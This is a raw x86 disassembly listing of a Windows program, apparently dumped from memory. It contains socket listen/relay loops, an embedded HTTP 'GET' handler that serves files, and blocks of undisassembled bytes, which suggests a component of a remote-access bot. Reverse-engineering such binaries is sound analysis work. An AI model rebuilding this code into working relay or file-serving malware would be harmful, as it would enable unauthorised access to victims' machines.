		push	dword_4CE394
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_40E47F
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE390
		call	near ptr 26F0000h
		nop
		jmp	short loc_40E47F
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C2:				; CODE XREF: ___:0040E4E8j
					; ___:0040E502j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE384
		call	near ptr 2700000h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C2
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE394
		call	dword_4CB6A4
		jmp	short loc_40E4C2
; ---------------------------------------------------------------------------
dword_40E504	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2D0Eo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 59E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB654h, 6A56066Ah, 45896602h, 0D415FFCAh
		dd 89004CB6h, 458D0845h, 50106AC8h, 0FF0875FFh,	4CB68015h
		dd 0FF056A00h, 15FF0875h, 4CB67Ch, 70FC1D8Bh, 358B0042h
		dd 427068h, 75FF5757h, 0E815FF08h, 0A3004CB6h, 4CE394h
		dd 57F4458Dh, 0E3906850h, 8C68004Ch, 0C7004CE3h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE388h
		dd 4CE38468h, 6AD3FF00h, 84458D44h, 0BDE85057h,	0A10000CFh
		dd 4CE38Ch, 890CC483h, 88A1BC45h, 89004CE3h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 2045E8B4h, 50900230h, 0E38835FFh,	38E8004Ch
		dd 90023020h, 0E5E89050h, 8D023019h, 8D50D845h,	57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433C0468h
		dd 0E8905700h, 2252556h, 50E8458Dh, 0B9685757h,	8D0040E4h
		dd 5057F445h, 19AAE890h, 45890227h, 0E8458DECh,	68575750h
		dd 40E476h, 57F4458Dh, 1992E850h, 6A900227h, 0F04589FFh
		dd 0E8D875FFh, 2281984h, 75FF5790h, 0A4E890F0h,	57022821h
		dd 90EC75FFh, 28219AE8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 2F2545E8h, 8C35FF02h, 0FF004CE3h,	9035FFD6h
		dd 0FF004CE3h, 8435FFD6h, 0FF004CE3h, 8835FFD6h, 0FF004CE3h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9F9Dh, 0E39CA359h
		dd 0C359004Ch
dword_40E6F0	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BACE+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 6DE85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB654h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CB6D415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFB2FFh, 8D14C483h, 0FFFD4085h, 2AE850FFh
		dd 0FF00006Ah, 0FFFF54B5h, 0CC85E8FFh, 5959FFFFh, 69E89053h
		dd 8B022D18h, 0FFFF5485h, 69106AFFh, 234C0h, 9CB88900h
		dd 8D0043E5h, 5750EC45h, 0B68015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB5E815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB27Fh, 8D14C483h
		dd 0FFFD4085h, 0AAE850FFh, 0FF000069h, 0FFFF54B5h, 0CC05E8FFh
		dd 5959FFFFh, 0E9E89056h, 68022D17h, 0FFFEh, 9E63E853h
		dd 0A3590000h, 4CE39Ch,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0B68015FFh, 0C63B004Ch, 15FF5475h, 4CB5E8h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 4E8FFFFh, 83FFFFB2h
		dd 858D14C4h, 0FFFFFD40h, 692FE850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFCB8AE8h, 565959FFh, 176EE890h, 56A022Dh, 7C15FF57h
		dd 3B004CB6h, 0D4840FC6h, 0C7000000h, 10FC45h, 0CBE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CB6E815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFB186E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 68B1h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB66Ch, 74FFF883h, 0FF565696h, 4CB39035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFC2E4h, 0C685059h, 8D00433Ch, 0FFF94085h
		dd 0E85053FFh, 0D040h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C68FE8h, 8D505900h,	0FFF94085h, 75FF50FFh, 0A415FF08h
		dd 83004CB6h, 840FFFF8h, 0FFFFFF43h, 0E3A405FFh, 38E9004Ch
		dd 57FFFFFFh, 0B6EC15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFCA8AE8h
		dd 6A59FFh, 166EE890h
		db 2Dh,	2
word_40E992	dw 8B55h		; DATA XREF: sub_40BACE+22Ao
dword_40E994	dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89E45Dh, 0DC5D89D4h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 57F8E890h, 5356716Ah, 0E890026Ah
		dd 716A5236h, 71F4358Bh, 4D8D0042h, 51046AE4h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AD4h,	8B57FB6Ah
		dd 0FF57F87Dh, 0DC458DD6h, 667E6850h, 90578004h, 6A2B35E8h
		dd 90A16671h, 83004CB3h, 5000B865h, 0B445C766h,	15FF0002h
		dd 4CB654h, 0B6458966h,	6AB4458Dh, 90575010h, 6A5481E8h
		dd 7DC08571h, 0E9C38B07h, 560h,	0E8570A6Ah, 716A7382h
		dd 0D49D8990h, 8BFFFFFDh, 4272241Dh, 0D8BD8900h, 89FFFFFDh
		dd 416AFC7Dh, 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh
		dd 0C4858DF6h, 56FFFFFBh, 8B505656h, 5040FC45h,	2DF2E890h
		dd 0F883716Ah, 0E840FFFh, 33000005h, 0FC7539FFh, 7C087D89h
		dd 6AF633C5h, 60858D64h, 56FFFFFDh, 0CACEE850h,	646A0000h
		dd 0FF50858Dh, 5056FFFFh, 0CABFE8h, 18C48300h, 0FBC4858Dh
		dd 5750FFFFh, 17C75E8h,	0FC08500h, 4BA84h, 0F87D3B00h
		dd 458D7A75h, 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh
		dd 6A9B84E8h, 0FFF88371h, 491840Fh, 0C9330000h,	0FDD4B539h
		dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h
		dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h
		dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh
		dd 0FC458903h, 68156A56h, 433ED4h, 0E9D3FF50h, 43Bh, 60858D56h
		dd 6AFFFFFDh, 0E8575064h, 716A6B18h, 7FC08590h,	0D4958B52h
		dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh,	410A7438h
		dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh
		dd 4508BFFh, 8B108941h,	0FFFDD495h, 4C083FFh, 72CA3B4Ah
		dd 0D48DFFECh, 57FFFFFDh, 2EA3E890h, 0D4E9716Ah, 8D000003h
		dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh
		dd 433ECCh, 0DA57E850h,	858D0000h, 0FFFFFF50h, 433EC468h
		dd 71E85000h, 830000D4h, 0C08518C4h, 6A560D75h,	3EAC6816h
		dd 82E90043h, 8D000000h, 0FFFF5085h, 3EA468FFh,	0E8500043h
		dd 0D44Ch, 59C08559h, 6A560A75h, 3E8C6814h, 61EB0043h
		dd 0FF50858Dh, 8468FFFFh, 5000433Eh, 0D42BE8h, 0C0855900h
		dd 560A7559h, 74680D6Ah, 0EB00433Eh, 50858D40h,	68FFFFFFh
		dd 433E6Ch, 0D40AE850h,	85590000h, 0A7559C0h, 68106A56h
		dd 433E58h, 858D1FEBh, 0FFFFFF50h, 433E5468h, 0E9E85000h
		dd 590000D3h, 7559C085h, 1E6A560Eh, 433E3468h, 0F1E95700h
		dd 0BF000002h, 433E2Ch,	0FF50858Dh, 5057FFFFh, 0D3C3E8h
		dd 0C0855900h, 8D247559h, 0FFFCC885h, 3E2868FFh, 0E8500043h
		dd 0D3ACh, 59C08559h, 6A560D75h, 3E146813h, 0B2E90043h
		dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D38Ch, 59C08559h
		dd 858D2475h, 0FFFFFCC8h, 433E1068h, 75E85000h,	590000D3h
		dd 7559C085h, 136A560Dh, 433DFC68h, 27BE900h, 858D0000h
		dd 0FFFFFF50h, 433DF468h, 51E85000h, 590000D3h,	7559C085h
		dd 0BE0A6A34h, 433DC8h,	0D8BD8D59h, 0F3FFFFFEh,	858D50A5h
		dd 0FFFFFED8h, 0E8A56650h, 0C29Ch, 858D5059h, 0FFFFFED8h
		dd 875FF50h, 0F633D3FFh, 235E9h, 50858D00h, 68FFFFFFh
		dd 433DC0h, 0D306E850h,	85590000h, 2A7559C0h, 0A8BE056Ah
		dd 5900433Dh, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h
		dd 0E8A450FFh, 0C250h, 858D5059h, 0FFFFFF38h, 858DB2EBh
		dd 0FFFFFF50h, 433DA068h, 0C5E85000h, 590000D2h, 0F59C085h
		dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh
		dd 8D50EC45h, 8D50E845h, 8D50E045h, 8D50D845h, 0FFFD6085h
		dd 3D7868FFh, 0E8500043h, 0D861h, 0FF04858Dh, 0E850FFFFh
		dd 0C989h, 858DF88Bh, 0FFFFFD2Ch, 0C97BE850h, 45890000h
		dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C780h, 8D34C483h
		dd 0FFFF0485h, 0F475FFFFh, 3D706857h, 0E8500043h, 0CA5Eh
		dd 858D106Ah, 0FFFFFF04h, 8EE85056h, 830000CFh,	45891CC4h
		dd 0EC458DF4h, 0E8458D50h, 0E0458D50h, 0D8458D50h, 0C4458D50h
		dd 433D6468h, 2BE85000h, 830000CAh, 6A5618C4h, 3D44681Dh
		dd 1EE90043h, 8D000001h, 0FFFF5085h, 3D3C68FFh,	0E8500043h
		dd 0D1F4h, 59C08559h, 0E4850Fh,	6A560000h, 3D106828h, 75FF0043h
		dd 0FFD3FF08h, 458DF475h, 20E850C4h, 59000001h,	5901F883h
		dd 0B6850Fh, 458D0000h,	858D50C4h, 0FFFFF720h, 433CF468h
		dd 0C7E85000h, 830000C9h, 0B5390CC4h, 0FFFFFBBCh, 8D562375h
		dd 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh
		dd 0FFF920B5h, 0AB89E8FFh, 0C483FFFFh, 14AE814h, 0F8830000h
		dd 93850F01h, 56000000h, 0DC68176Ah, 0FF00433Ch, 0D3FF0875h
		dd 50C4458Dh, 0F720858Dh, 0BC68FFFFh, 5000433Ch, 0C969E8h
		dd 0CC48300h, 0FBBCB539h, 2375FFFFh, 20858D56h,	0FFFFFFF7h
		dd 0FFFBB8B5h, 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h
		dd 0FFFFAB2Bh, 8D14C483h, 0FFF72085h, 56E850FFh, 0FF000062h
		dd 4CE16005h, 2EEB5900h, 68206A56h, 433C98h, 858D1FEBh
		dd 0FFFFFF50h, 42D08468h, 0F5E85000h, 590000D0h, 7559C085h
		dd 1B6A560Dh, 433C7C68h, 875FF00h, 646AD3FFh, 0FD60858Dh
		dd 5056FFFFh, 0C5F3E8h,	87D8B00h, 470CC483h, 89FC7D3Bh
		dd 8E0F087Dh, 0FFFFFB01h, 0FFFAC1E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	dword ptr [ebp+8]
		mov	dword_4CE3A8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		call	near ptr 71AB1746h
		nop
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE3A8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F037
		push	dword_4CE3A8
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F037:				; CODE XREF: ___:0040F01Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B7
		push	edi
		mov	edi, 400h


loc_40F07F:				; CODE XREF: ___:0040F0B4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE3A8
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 2670EC6h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07F
		pop	edi


loc_40F0B7:				; CODE XREF: ___:0040F077j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CE3A8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40F0D3:				; CODE XREF: ___:0040F071j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D6	proc near		; DATA XREF: sub_401ACD+2284o
					; sub_40BACE+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB654
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E59C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB67C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB6F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AD:				; CODE XREF: sub_40F0D6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB63C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E3:				; CODE XREF: sub_40F0D6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB540
		test	eax, eax
		jz	loc_40F4A7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F265
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F237
		lea	edx, [ebp+var_134]


loc_40F22B:				; CODE XREF: sub_40F0D6+15Fj
		cmp	[edx], eax
		jz	short loc_40F237
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22B


loc_40F237:				; CODE XREF: sub_40F0D6+14Dj
					; sub_40F0D6+157j
		cmp	ecx, ebx
		jnz	short loc_40F254
		cmp	ebx, 40h
		jnb	short loc_40F254
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F254:				; CODE XREF: sub_40F0D6+163j
					; sub_40F0D6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A7
		mov	[ebp+var_8], eax
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F265:				; CODE XREF: sub_40F0D6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		test	eax, eax
		jg	short loc_40F2F8
		push	esi
		call	dword_4CB6EC
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A7
		lea	eax, [ebp+var_134]


loc_40F2B7:				; CODE XREF: sub_40F0D6+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B7
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2C8:				; CODE XREF: sub_40F0D6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EC
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D6:				; CODE XREF: sub_40F0D6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D6


loc_40F2EC:				; CODE XREF: sub_40F0D6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2F8:				; CODE XREF: sub_40F0D6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A7


loc_40F326:				; CODE XREF: sub_40F0D6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39F
		mov	eax, offset asc_42D124 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B6
; ---------------------------------------------------------------------------


loc_40F39F:				; CODE XREF: sub_40F0D6+27Fj
					; sub_40F0D6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_433F14 ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3EA


loc_40F3B6:				; CODE XREF: sub_40F0D6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CB:				; CODE XREF: sub_40F0D6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F326
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F3EA:				; CODE XREF: sub_40F0D6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F434
		lea	eax, [ebp+var_134]


loc_40F3F6:				; CODE XREF: sub_40F0D6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F407
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F6
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F407:				; CODE XREF: sub_40F0D6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42B
		lea	eax, [ebp+ecx*4+var_134]


loc_40F415:				; CODE XREF: sub_40F0D6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F415


loc_40F42B:				; CODE XREF: sub_40F0D6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F434:				; CODE XREF: sub_40F0D6+318j
		mov	esi, [ebp+var_4]


loc_40F437:				; CODE XREF: sub_40F0D6+32Fj
					; sub_40F0D6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F4A0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F4A0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6F0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B4
		add	esp, 14h
		jmp	short loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F4A0:				; CODE XREF: sub_40F0D6+369j
					; sub_40F0D6+38Fj
		push	esi
		call	dword_4CB6EC


loc_40F4A7:				; CODE XREF: sub_40F0D6+11Dj
					; sub_40F0D6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E3
		jmp	loc_40F1AD
; ---------------------------------------------------------------------------


loc_40F4BC:				; CODE XREF: sub_40F0D6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C1:				; CODE XREF: sub_40F0D6+6Aj
					; sub_40F0D6+92j ...
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_433EEC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F507
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A73
		add	esp, 14h


loc_40F507:				; CODE XREF: sub_40F0D6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_254]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F531	proc near		; DATA XREF: sub_40F6B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F597
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59C
; ---------------------------------------------------------------------------


loc_40F597:				; CODE XREF: sub_40F531+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59C:				; CODE XREF: sub_40F531+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2721357h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F615
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
